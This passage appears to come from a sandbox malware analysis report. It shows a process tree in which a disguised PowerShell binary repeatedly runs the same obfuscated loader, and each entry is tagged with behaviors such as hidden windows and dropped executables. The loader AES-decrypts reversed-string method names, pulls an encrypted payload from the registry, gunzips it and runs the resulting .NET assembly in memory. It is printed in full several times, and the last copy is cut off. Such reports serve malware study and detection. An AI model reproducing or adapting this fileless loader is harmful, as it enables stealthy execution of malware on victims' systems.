New-Object System.IO.Compression.GZipStream($CnYJK, [IO.Compression.CompressionMode]::$jHIyA1);$IZuvX.$WYTcs($gHeEg);$IZuvX.Dispose();$CnYJK.Dispose();$gHeEg.Dispose();$vTciO = $gHeEg.ToArray();$RXZMq = $unPsJ | IEX;$LMNFd = $RXZMq::$jHIyA2($vTciO);$njvrT = $LMNFd.EntryPoint;$njvrT.$jHIyA0($null, (, [string[]] ($FwJNq)))
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Hide Artifacts: Hidden Window
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:1072
                                                                                        • C:\Windows\$sxr-powershell.exe
                                                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4108).WaitForExit();[System.Threading.Thread]::Sleep(5000); $Lkmgw1 = New-Object System.Security.Cryptography.AesManaged;$Lkmgw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$DqhKN = $Lkmgw1.('rotpyrceDetaerC'[-1..-15] -join '')();$jHIyA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qf68STvgu6hUwClhaoFM8A==');$jHIyA = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA, 0, $jHIyA.Length);$jHIyA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA);$jGtZH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0TJdegCHUerIj++3l0Jjm6HeQ5fpgYqsNH0nKCAnTvI=');$jGtZH = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jGtZH, 0, $jGtZH.Length);$jGtZH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jGtZH);$FwJNq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lD1/drzY5UDkKfbFPWMCcA==');$FwJNq = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FwJNq, 0, $FwJNq.Length);$FwJNq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FwJNq);$unPsJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sBdi3oP8/p3NjeC3QQDkpoltUqZWcbcdHsfsibhCIyt4ut9IrnyYT/+eHuK0mVG8OWD0GI4TX2pFp46G2Si8Uy33i6wv7se6A2gPK0SJUwRmDtj3332xch1sueChy/5us/mZ+dPunlWtFscDosEBEOdtS0y7yXGoGembea5RlXN+opB2JHHYxYOMagq+s++CBn2vvS8xRn8l210lWZpMowsjl+uxHR3VtEUbnrEqc31qzRzqNM34OFNngvJiPOoUYBy9infXGMJK25G1aaEcar7Wkgpno1mjSHu7FcQGrbKrzZpKZS1LCXYb9NUCb3IYEdhntcxq9eqVMtDGcFcBEVZ0T+2lDIO3WnfJkm/XRD7SuoEiKzhX6WQ+l8uzr1eR9X3ykoiagl9u4CNjljrgihirYUXX2EhpkfEtUrL9sSU=');$unPsJ = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($unPsJ, 0, $unPsJ.Length);$unPsJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($unPsJ);$lqeRW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2MFhZuvEoYfeaYYFPsEyMw==');$lqeRW = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lqeRW, 0, $lqeRW.Length);$lqeRW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lqeRW);$oxvgS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Iah4EcAdpj2g31quuLMSgQ==');$oxvgS = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oxvgS, 0, $oxvgS.Length);$oxvgS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oxvgS);$krDhY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I22bAMwDmSfKsNgQqDoS1A==');$krDhY = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($krDhY, 0, $krDhY.Length);$krDhY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($krDhY);$lQWHI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XGma00hR4b17/XVH4gmBZQ==');$lQWHI = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lQWHI, 0, $lQWHI.Length);$lQWHI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lQWHI);$WYTcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FhaMrN1xzCyGfbVzXjXxyg==');$WYTcs = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WYTcs, 0, $WYTcs.Length);$WYTcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WYTcs);$jHIyA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s+xo2w/yuWwAg6lCN1hKmQ==');$jHIyA0 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA0, 0, $jHIyA0.Length);$jHIyA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA0);$jHIyA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C3OMeNg0f3qJVSUgDLJJww==');$jHIyA1 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA1, 0, $jHIyA1.Length);$jHIyA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA1);$jHIyA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R7g2x1YwQb7HG7gp7x7tjA==');$jHIyA2 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA2, 0, $jHIyA2.Length);$jHIyA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA2);$jHIyA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+iIDCJhi1+tf8Ta47/7C5g==');$jHIyA3 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA3, 0, $jHIyA3.Length);$jHIyA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA3);$DqhKN.Dispose();$Lkmgw1.Dispose();$DuXOR = [Microsoft.Win32.Registry]::$lQWHI.$krDhY($jHIyA).$oxvgS($jGtZH);$vTciO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DuXOR);$Lkmgw = New-Object System.Security.Cryptography.AesManaged;$Lkmgw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$mwczP = $Lkmgw.('rotpyrceDetaerC'[-1..-15] -join '')();$vTciO = $mwczP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vTciO, 0, $vTciO.Length);$mwczP.Dispose();$Lkmgw.Dispose();$CnYJK = New-Object System.IO.MemoryStream(, $vTciO);$gHeEg = New-Object System.IO.MemoryStream;$IZuvX = New-Object System.IO.Compression.GZipStream($CnYJK, [IO.Compression.CompressionMode]::$jHIyA1);$IZuvX.$WYTcs($gHeEg);$IZuvX.Dispose();$CnYJK.Dispose();$gHeEg.Dispose();$vTciO = $gHeEg.ToArray();$RXZMq = $unPsJ | IEX;$LMNFd = $RXZMq::$jHIyA2($vTciO);$njvrT = $LMNFd.EntryPoint;$njvrT.$jHIyA0($null, (, [string[]] ($FwJNq)))
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Hide Artifacts: Hidden Window
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:3936
                                                                                        • C:\Windows\$sxr-powershell.exe
                                                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4108).WaitForExit();[System.Threading.Thread]::Sleep(5000); $Lkmgw1 = New-Object System.Security.Cryptography.AesManaged;$Lkmgw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$DqhKN = $Lkmgw1.('rotpyrceDetaerC'[-1..-15] -join '')();$jHIyA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qf68STvgu6hUwClhaoFM8A==');$jHIyA = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA, 0, $jHIyA.Length);$jHIyA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA);$jGtZH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0TJdegCHUerIj++3l0Jjm6HeQ5fpgYqsNH0nKCAnTvI=');$jGtZH = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jGtZH, 0, $jGtZH.Length);$jGtZH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jGtZH);$FwJNq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lD1/drzY5UDkKfbFPWMCcA==');$FwJNq = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FwJNq, 0, $FwJNq.Length);$FwJNq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FwJNq);$unPsJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sBdi3oP8/p3NjeC3QQDkpoltUqZWcbcdHsfsibhCIyt4ut9IrnyYT/+eHuK0mVG8OWD0GI4TX2pFp46G2Si8Uy33i6wv7se6A2gPK0SJUwRmDtj3332xch1sueChy/5us/mZ+dPunlWtFscDosEBEOdtS0y7yXGoGembea5RlXN+opB2JHHYxYOMagq+s++CBn2vvS8xRn8l210lWZpMowsjl+uxHR3VtEUbnrEqc31qzRzqNM34OFNngvJiPOoUYBy9infXGMJK25G1aaEcar7Wkgpno1mjSHu7FcQGrbKrzZpKZS1LCXYb9NUCb3IYEdhntcxq9eqVMtDGcFcBEVZ0T+2lDIO3WnfJkm/XRD7SuoEiKzhX6WQ+l8uzr1eR9X3ykoiagl9u4CNjljrgihirYUXX2EhpkfEtUrL9sSU=');$unPsJ = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($unPsJ, 0, $unPsJ.Length);$unPsJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($unPsJ);$lqeRW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2MFhZuvEoYfeaYYFPsEyMw==');$lqeRW = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lqeRW, 0, $lqeRW.Length);$lqeRW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lqeRW);$oxvgS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Iah4EcAdpj2g31quuLMSgQ==');$oxvgS = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oxvgS, 0, $oxvgS.Length);$oxvgS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oxvgS);$krDhY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I22bAMwDmSfKsNgQqDoS1A==');$krDhY = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($krDhY, 0, $krDhY.Length);$krDhY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($krDhY);$lQWHI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XGma00hR4b17/XVH4gmBZQ==');$lQWHI = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lQWHI, 0, $lQWHI.Length);$lQWHI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lQWHI);$WYTcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FhaMrN1xzCyGfbVzXjXxyg==');$WYTcs = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WYTcs, 0, $WYTcs.Length);$WYTcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WYTcs);$jHIyA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s+xo2w/yuWwAg6lCN1hKmQ==');$jHIyA0 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA0, 0, $jHIyA0.Length);$jHIyA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA0);$jHIyA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C3OMeNg0f3qJVSUgDLJJww==');$jHIyA1 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA1, 0, $jHIyA1.Length);$jHIyA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA1);$jHIyA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R7g2x1YwQb7HG7gp7x7tjA==');$jHIyA2 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA2, 0, $jHIyA2.Length);$jHIyA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA2);$jHIyA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+iIDCJhi1+tf8Ta47/7C5g==');$jHIyA3 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA3, 0, $jHIyA3.Length);$jHIyA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA3);$DqhKN.Dispose();$Lkmgw1.Dispose();$DuXOR = [Microsoft.Win32.Registry]::$lQWHI.$krDhY($jHIyA).$oxvgS($jGtZH);$vTciO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DuXOR);$Lkmgw = New-Object System.Security.Cryptography.AesManaged;$Lkmgw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$mwczP = $Lkmgw.('rotpyrceDetaerC'[-1..-15] -join '')();$vTciO = $mwczP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vTciO, 0, $vTciO.Length);$mwczP.Dispose();$Lkmgw.Dispose();$CnYJK = New-Object System.IO.MemoryStream(, $vTciO);$gHeEg = New-Object System.IO.MemoryStream;$IZuvX = New-Object System.IO.Compression.GZipStream($CnYJK, [IO.Compression.CompressionMode]::$jHIyA1);$IZuvX.$WYTcs($gHeEg);$IZuvX.Dispose();$CnYJK.Dispose();$gHeEg.Dispose();$vTciO = $gHeEg.ToArray();$RXZMq = $unPsJ | IEX;$LMNFd = $RXZMq::$jHIyA2($vTciO);$njvrT = $LMNFd.EntryPoint;$njvrT.$jHIyA0($null, (, [string[]] ($FwJNq)))
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Hide Artifacts: Hidden Window
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:4476
                                                                                        • C:\Windows\$sxr-powershell.exe
                                                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4108).WaitForExit();[System.Threading.Thread]::Sleep(5000); $Lkmgw1 = New-Object System.Security.Cryptography.AesManaged;$Lkmgw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$DqhKN = $Lkmgw1.('rotpyrceDetaerC'[-1..-15] -join '')();$jHIyA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qf68STvgu6hUwClhaoFM8A==');$jHIyA = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA, 0, $jHIyA.Length);$jHIyA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA);$jGtZH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0TJdegCHUerIj++3l0Jjm6HeQ5fpgYqsNH0nKCAnTvI=');$jGtZH = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jGtZH, 0, $jGtZH.Length);$jGtZH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jGtZH);$FwJNq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lD1/drzY5UDkKfbFPWMCcA==');$FwJNq = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FwJNq, 0, $FwJNq.Length);$FwJNq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FwJNq);$unPsJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sBdi3oP8/p3NjeC3QQDkpoltUqZWcbcdHsfsibhCIyt4ut9IrnyYT/+eHuK0mVG8OWD0GI4TX2pFp46G2Si8Uy33i6wv7se6A2gPK0SJUwRmDtj3332xch1sueChy/5us/mZ+dPunlWtFscDosEBEOdtS0y7yXGoGembea5RlXN+opB2JHHYxYOMagq+s++CBn2vvS8xRn8l210lWZpMowsjl+uxHR3VtEUbnrEqc31qzRzqNM34OFNngvJiPOoUYBy9infXGMJK25G1aaEcar7Wkgpno1mjSHu7FcQGrbKrzZpKZS1LCXYb9NUCb3IYEdhntcxq9eqVMtDGcFcBEVZ0T+2lDIO3WnfJkm/XRD7SuoEiKzhX6WQ+l8uzr1eR9X3ykoiagl9u4CNjljrgihirYUXX2EhpkfEtUrL9sSU=');$unPsJ = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($unPsJ, 0, $unPsJ.Length);$unPsJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($unPsJ);$lqeRW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2MFhZuvEoYfeaYYFPsEyMw==');$lqeRW = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lqeRW, 0, $lqeRW.Length);$lqeRW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lqeRW);$oxvgS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Iah4EcAdpj2g31quuLMSgQ==');$oxvgS = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oxvgS, 0, $oxvgS.Length);$oxvgS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oxvgS);$krDhY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('I22bAMwDmSfKsNgQqDoS1A==');$krDhY = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($krDhY, 0, $krDhY.Length);$krDhY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($krDhY);$lQWHI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XGma00hR4b17/XVH4gmBZQ==');$lQWHI = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lQWHI, 0, $lQWHI.Length);$lQWHI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lQWHI);$WYTcs = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FhaMrN1xzCyGfbVzXjXxyg==');$WYTcs = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WYTcs, 0, $WYTcs.Length);$WYTcs = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WYTcs);$jHIyA0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('s+xo2w/yuWwAg6lCN1hKmQ==');$jHIyA0 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA0, 0, $jHIyA0.Length);$jHIyA0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA0);$jHIyA1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C3OMeNg0f3qJVSUgDLJJww==');$jHIyA1 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA1, 0, $jHIyA1.Length);$jHIyA1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA1);$jHIyA2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R7g2x1YwQb7HG7gp7x7tjA==');$jHIyA2 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA2, 0, $jHIyA2.Length);$jHIyA2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA2);$jHIyA3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+iIDCJhi1+tf8Ta47/7C5g==');$jHIyA3 = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA3, 0, $jHIyA3.Length);$jHIyA3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA3);$DqhKN.Dispose();$Lkmgw1.Dispose();$DuXOR = [Microsoft.Win32.Registry]::$lQWHI.$krDhY($jHIyA).$oxvgS($jGtZH);$vTciO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($DuXOR);$Lkmgw = New-Object System.Security.Cryptography.AesManaged;$Lkmgw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$mwczP = $Lkmgw.('rotpyrceDetaerC'[-1..-15] -join '')();$vTciO = $mwczP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vTciO, 0, $vTciO.Length);$mwczP.Dispose();$Lkmgw.Dispose();$CnYJK = New-Object System.IO.MemoryStream(, $vTciO);$gHeEg = New-Object System.IO.MemoryStream;$IZuvX = New-Object System.IO.Compression.GZipStream($CnYJK, [IO.Compression.CompressionMode]::$jHIyA1);$IZuvX.$WYTcs($gHeEg);$IZuvX.Dispose();$CnYJK.Dispose();$gHeEg.Dispose();$vTciO = $gHeEg.ToArray();$RXZMq = $unPsJ | IEX;$LMNFd = $RXZMq::$jHIyA2($vTciO);$njvrT = $LMNFd.EntryPoint;$njvrT.$jHIyA0($null, (, [string[]] ($FwJNq)))
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          • Hide Artifacts: Hidden Window
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:5008
                                                                                        • C:\Windows\$sxr-powershell.exe
                                                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4108).WaitForExit();[System.Threading.Thread]::Sleep(5000); $Lkmgw1 = New-Object System.Security.Cryptography.AesManaged;$Lkmgw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Lkmgw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Lkmgw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FdnODjTqc591gSvW7iLTsmxCuXZ984z68eHuY5OrTQQ=');$Lkmgw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gk7FPs/jBYzR1F6jeN5DOw==');$DqhKN = $Lkmgw1.('rotpyrceDetaerC'[-1..-15] -join '')();$jHIyA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qf68STvgu6hUwClhaoFM8A==');$jHIyA = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jHIyA, 0, $jHIyA.Length);$jHIyA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jHIyA);$jGtZH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0TJdegCHUerIj++3l0Jjm6HeQ5fpgYqsNH0nKCAnTvI=');$jGtZH = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jGtZH, 0, $jGtZH.Length);$jGtZH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jGtZH);$FwJNq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lD1/drzY5UDkKfbFPWMCcA==');$FwJNq = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FwJNq, 0, $FwJNq.Length);$FwJNq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FwJNq);$unPsJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sBdi3oP8/p3NjeC3QQDkpoltUqZWcbcdHsfsibhCIyt4ut9IrnyYT/+eHuK0mVG8OWD0GI4TX2pFp46G2Si8Uy33i6wv7se6A2gPK0SJUwRmDtj3332xch1sueChy/5us/mZ+dPunlWtFscDosEBEOdtS0y7yXGoGembea5RlXN+opB2JHHYxYOMagq+s++CBn2vvS8xRn8l210lWZpMowsjl+uxHR3VtEUbnrEqc31qzRzqNM34OFNngvJiPOoUYBy9infXGMJK25G1aaEcar7Wkgpno1mjSHu7FcQGrbKrzZpKZS1LCXYb9NUCb3IYEdhntcxq9eqVMtDGcFcBEVZ0T+2lDIO3WnfJkm/XRD7SuoEiKzhX6WQ+l8uzr1eR9X3ykoiagl9u4CNjljrgihirYUXX2EhpkfEtUrL9sSU=');$unPsJ = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($unPsJ, 0, $unPsJ.Length);$unPsJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($unPsJ);$lqeRW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2MFhZuvEoYfeaYYFPsEyMw==');$lqeRW = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($lqeRW, 0, $lqeRW.Length);$lqeRW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($lqeRW);$oxvgS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Iah4EcAdpj2g31quuLMSgQ==');$oxvgS = $DqhKN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oxvgS, 0, $oxvgS.Length);$oxvgS = 